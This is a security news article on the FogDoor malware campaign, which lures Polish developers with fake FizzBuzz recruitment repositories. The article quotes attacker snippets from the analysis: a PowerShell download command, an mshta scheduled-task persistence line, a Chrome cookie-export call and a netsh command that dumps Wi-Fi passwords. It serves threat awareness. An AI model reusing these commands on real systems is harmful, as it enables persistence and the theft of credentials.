Cyber Security News

Developers Beware! Fake Coding Challenges Will Deploy FogDoor on Your System

A sophisticated malware campaign targeting software developers has emerged, leveraging fake coding challenges to infiltrate systems with a stealthy backdoor dubbed FogDoor.

First identified in March 2025, this threat specifically targets Polish-speaking developers and job seekers through socially engineered GitHub repositories masquerading as technical recruitment assessments.

The malware’s multi-stage infection chain bypasses conventional security measures by exploiting developers’ familiarity with coding exercises, weaponizing their trust in industry-standard interview practices like the FizzBuzz test.

The attack begins with a GitHub repository named “FizzBuzz” under the account “Rekrutacja-JS” (Polish for “Recruitment-JS”), hosting an ISO file labeled “Zadanie rekrutacyjne.iso” (“Recruitment Task”).

This file contains a flawed JavaScript FizzBuzz implementation and a malicious Windows shortcut (README.lnk).

When executed, the shortcut triggers a PowerShell script that deploys FogDoor, establishing persistence, exfiltrating sensitive data, and enabling remote command execution.

Cyble Research and Intelligence Labs (CRIL) identified this campaign on March 10, 2025, noting its precision in geofencing attacks to Poland and nearby regions with Polish-speaking populations.

FogDoor distinguishes itself through its evasion-centric architecture.

Instead of traditional command-and-control (C&C) servers, it retrieves instructions from a social media profile on bark.lgbt via API calls and uses ephemeral webhook services like webhookbin.net for data exfiltration.

This approach complicates attribution and infrastructure takedowns. The malware’s payload, SkyWatchWeather.exe, mimics legitimate software while systematically harvesting browser cookies, Wi-Fi credentials, and system metadata.

Infection Mechanism and Execution Flow

The attack’s success hinges on its exploitation of developer workflows.

Infection Chain (Source – Cyble)

Upon mounting the ISO file, victims encounter FizzBuzz.js—a purposefully defective script designed to prompt debugging—and README.lnk, disguised as a documentation file.

GitHub repo containing ISO file (Source – Cyble)

Executing the LNK file launches a PowerShell script (SHA-256: 33bc5fa9798219ba6d4e31f91ec23982596c409e0fd73e2c0c33c70538b7ec83) that orchestrates the infection:-

$url = "hxxps://files.catbox.moe/umh6no.txt"
Invoke-WebRequest -Uri $url -OutFile "$env:USERPROFILE\README.txt"
Start-Process notepad.exe "$env:USERPROFILE\README.txt"

This script first deploys a decoy README.txt containing faux debugging instructions to avoid suspicion.

Concurrently, it downloads SkyWatchWeather.exe from a compromised GitHub repository, saving it to C:\Users\Public\Downloads.

A scheduled task named “Weather Widget” ensures persistence, reactivating the malware every two minutes via:-

schtasks /create /tn "Weather Widget" /tr "mshta vbscript:Execute(...)" /sc minute /mo 2

FogDoor then initiates geolocation checks using wttr.in’s weather API, terminating execution if the victim’s country isn’t Poland.

TA’s social media profile (Source – Cyble)

For verified targets, it accesses the TA’s social media profile via hxxps://bark.lgbt/api/v1/accounts/lookup?acct=Pawsitive Vibes to retrieve embedded commands.

These instructions execute via:-

Network.getAllCookies().then(cookies => { chrome.cookies.export(cookies); });

This remote debugging technique extracts Chrome cookies, while Firefox credentials are copied from %AppData%\Roaming\Mozilla\Firefox\Profiles.

Wi-Fi passwords are harvested using:-

netsh wlan show profile name="$name" key=clear >> %userprofile%\data\wifi.txt

Stolen data is compressed into data.zip and uploaded to filebin.net using a MachineGUID-derived URL, followed by a cleanup routine that deletes staging files and temporary webhook traces.

Cyble analysts emphasize that this multi-layered approach—combining social engineering, geofencing, and ephemeral C&C channels—enables FogDoor to operate undetected across development environments.

As FogDoor’s operators expand their tactics to include invoice-themed lures, organizations must prioritize security training and deploy behavioral analytics to counter such socially engineered threats.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Google Chrome 153 Update Fixes 42 Security Flaws, Including 3 Critical Ones

Google has released an important Chrome 153 security update that fixes 42 vulnerabilities across the…

3 hours ago

CISA and NIST Release Technical Checklist for Safeguarding Identity Tokens From Theft and Misuse

The Cybersecurity and Infrastructure Security Agency (CISA) and the National Institute of Standards and Technology…

13 hours ago

CISA Shares 17 Techniques Used by Hackers to Compromise Active Directory Environments

CISA and five international cybersecurity agencies have released detailed guidance describing 17 common techniques hackers…

14 hours ago

Apple Rolls Out Massive Security Update Fixing 273 Vulnerabilities Across Its Devices

Apple has released one of its largest coordinated security rollouts, addressing 273 distinct critical vulnerabilities…

14 hours ago

How to Keep Malware’s Rotating Infrastructure From Becoming a Detection Gap

You can’t detect today's attacks with yesterday’s threat intelligence; that’s how you could briefly formulate…

14 hours ago

Microsoft Bans Its AI Models From Launching Cyberattacks or Escalating Their Own Access

Microsoft has published a draft Humanist AI Code of Conduct that would prohibit its in-house…

15 hours ago